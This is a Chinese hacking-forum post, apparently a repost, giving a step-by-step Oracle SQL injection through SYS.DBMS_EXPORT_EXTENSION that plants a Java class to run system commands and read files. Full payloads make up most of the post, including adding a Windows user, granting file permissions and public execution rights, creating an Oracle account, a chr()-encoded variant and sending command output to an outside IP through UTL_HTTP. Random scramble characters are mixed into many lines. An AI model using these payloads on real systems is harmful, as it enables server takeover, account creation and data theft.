找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2260|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
9 f* x9 v# i4 l- j: [
* P8 B4 r6 K: P, ?3 ?" Q  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) + z; c5 j- s- i4 Q' g3 g! A
的形式即可。(用" 'a'|| "是为了让语句返回true值)
3 \9 i6 x- W6 }6 W  Y语句有点长,可能要用post提交。 ' B3 N, F# _7 J7 V/ o' C' Q
以下是各个步骤: 6 i% b6 ]. f) f: o) z
1.创建包
; b9 w6 a4 s! f. D& j  V' D; j+ N通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:2 D1 P2 S+ {& W& }
/xxx.jsp?id=1 and '1'<>'a'||(
  E% W: x# Q5 @7 M: R6 _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': `: _4 Q$ o- q, B# d
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
; y* q0 j+ @3 m" s. h3 `new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}- \0 q0 g; F' @  }, Q. _0 B$ u
}'''';END;'';END;--','SYS',0,'1',0) from dual 7 L  B& D: \7 a* k. n6 K5 q
)
: x! E( c8 y% \9 ]' X' Y------------------------ * u' D" f/ C7 {7 d$ s
如果url有长度限制,可以把readFile()函数块去掉,即: $ ?; x5 Y/ k6 R
/xxx.jsp?id=1 and '1'<>'a'||( 0 L8 O: ?% q( h! r) S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! _7 l* X+ d' X& hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
1 S$ b6 H+ P; c# G& m) V4 {& }4 Anew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ J  x% \: W# X4 o9 S: J1 {}'''';END;'';END;--','SYS',0,'1',0) from dual ) I( o7 J" M! G( S. d  x& J8 `
)   N. Z- L. V6 u7 {& \1 v
同时把后面步骤 提到的 对readFile()的处理语句去掉。
* c9 Y$ E( a8 V------------------------------
+ S% j# G$ x. j6 b2.赋Java权限
' {: b) y: H, r* Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) ]7 O9 N9 F! ~& [# b" y
3.创建函数
8 V. Q4 y, I) c: y4 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ g. ~" R3 O6 D" ?create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual  w  q, j5 y+ K+ F1 F) y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; C1 D6 J8 N$ U' V# J! {1 C
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
8 e" e( a6 s. Z. B) k4.赋public执行函数的权限
& S1 t) {  E7 f: z" [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual9 u4 l6 y) H0 H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual0 P7 u  m9 B( C! O/ |# @- z0 q+ X& @2 V4 y
5.测试上面的几步是否成功
7 u& @. L3 l; q2 \$ J& W/ Qand '1'<>'11'||(
1 \! ]8 f0 I+ X# k, z/ H% ]% Pselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' ; f" E. V" }4 s9 A+ I0 p
)
  V4 X: s8 z! f$ D+ Band '1'<>( 5 S# z- T, j7 q. N
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
0 A8 ]9 T9 U5 k0 Y9 G. l8 h) 5 }9 n6 N; G; Y, h# V
6.执行命令: : P# w8 A! m# R5 L9 d
/xxx.jsp?id=1 and '1'<>( / Z6 C+ w" [5 f8 Q
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual   W! C2 k, F$ S6 M
8 a5 M/ D2 |* q# d
)
) v8 b5 C: Q& g- C4 w! T) f/xxx.jsp?id=1 and '1'<>( " {; {4 r' B( i8 u9 |" ?
select  sys.LinxReadFile('c:/boot.ini') from dual
/ m. {9 s0 f5 N+ [, H. z% ^- g. ?/ _4 [! _* k1 r
)
# z5 D* u- B8 w' F  
0 `! T" _0 Y" o% T- q' T( K注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 , I; ?% ?( \  B
如果要查看运行结果可以用 union : # b4 f: O4 c. g* |9 I3 l1 m
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual! E! H6 d# A" `' g. [; H- c
或者UTL_HTTP.request(: ! \: p% L! D3 S2 W  P* Y
/xxx.jsp?id=1 and '1'<>(
$ J9 J0 c! }- m6 ]% F2 I9 i4 u6 jSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
- ]% ^2 C+ M" c3 g/ H9 j)
8 m6 W2 S) C6 r( j* S6 A% b/xxx.jsp?id=1 and '1'<>(
1 I1 t. J; L. I9 p% BSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual0 b4 n5 q+ }* R" @6 W; t; `$ s# H8 T
)   y6 E5 _: W" S8 N( D, M
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 r8 p2 ~" T8 T6 q
-------------------- 8 d* U9 l# p! I/ Z/ x; F" R& t
6.内部变化
8 `  p! }$ O6 B# r4 ]通过以下命令可以查看all_objects表达改变: 9 }! E! F5 Y1 z; d
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
" p: s8 [- M+ G5 n9 F7.删除我们创建的函数 # d. n3 L3 o: R( }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 m9 I7 ]: N) F$ x: I% j/ adrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual * [0 ?4 d( k3 J: f6 {
==================================================== * q+ Y- G# ^4 Z: r
全文结束。谨以此文赠与我的朋友。
; b( Q( y, K1 Klinx 9 l. b  g) }5 o7 ]! c8 ]( U
124829445 : j, S' x4 D) ^( [3 j1 Y2 x
2008.1.12
6 Z7 @1 O2 a5 q0 g2 olinyujian@bjfu.edu.cn ; A7 m9 e4 e1 p
======================================================================
9 k2 t; r" b# @7 {" P7 b% b, b3 T测试漏洞的另一方法:
: c( e  o2 o" p  w4 ?8 _创建oracle帐号:
1 w/ \# f! Y/ x* F) ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  M; ~. m# |5 Q2 w, [4 Z4 NCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual4 E# A9 d' d0 _7 O# u
即:
2 v. D: P5 y8 D, v- }* Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( l9 k8 M7 _, Y8 R) `5 Q( |
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. S8 ~" T4 M4 k确定漏洞存在: # E( ]$ a0 p9 k; B6 ~9 @. h0 f
1<>( 0 ~$ L# e4 e! ]9 z
select user_id from all_users where username='LINXSQL'
+ v" e0 k% }' T3 J+ k% L/ Q  n)
/ h( |1 M) a- k! L" O给linxsql连接权限:
  N/ k0 K" P, V8 c5 ?8 t% Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% \5 \: i) k9 L) j; Y- k; w
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
; ~* N: ?6 K+ u& J" c8 H7 f删除帐号: $ r: R  m1 Q& k8 v+ W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, j8 z$ H" D5 {# g2 f; tdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
+ B" ]% R& z; s9 R% ~5 [======================
7 f  x9 \# j3 v4 G以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
7 i; g" g. s: F% U& l1 v7 W) u1.jsp?id=1 and '1'<>( 5 _5 Q9 z" p9 L% i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', N5 u& L5 H6 H9 C9 n
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
0 w( ]$ O0 z5 r4 l0 W$ P" G) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
( {, W4 |- g1 K )
0 {7 J' b) Y/ R' U8 M) j0 B1 Q
& m7 v2 o9 |8 |' v' }/ Y( [
) Z; s% ]; q9 C1 ]0 y0 q( H  o* c. y  X* v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表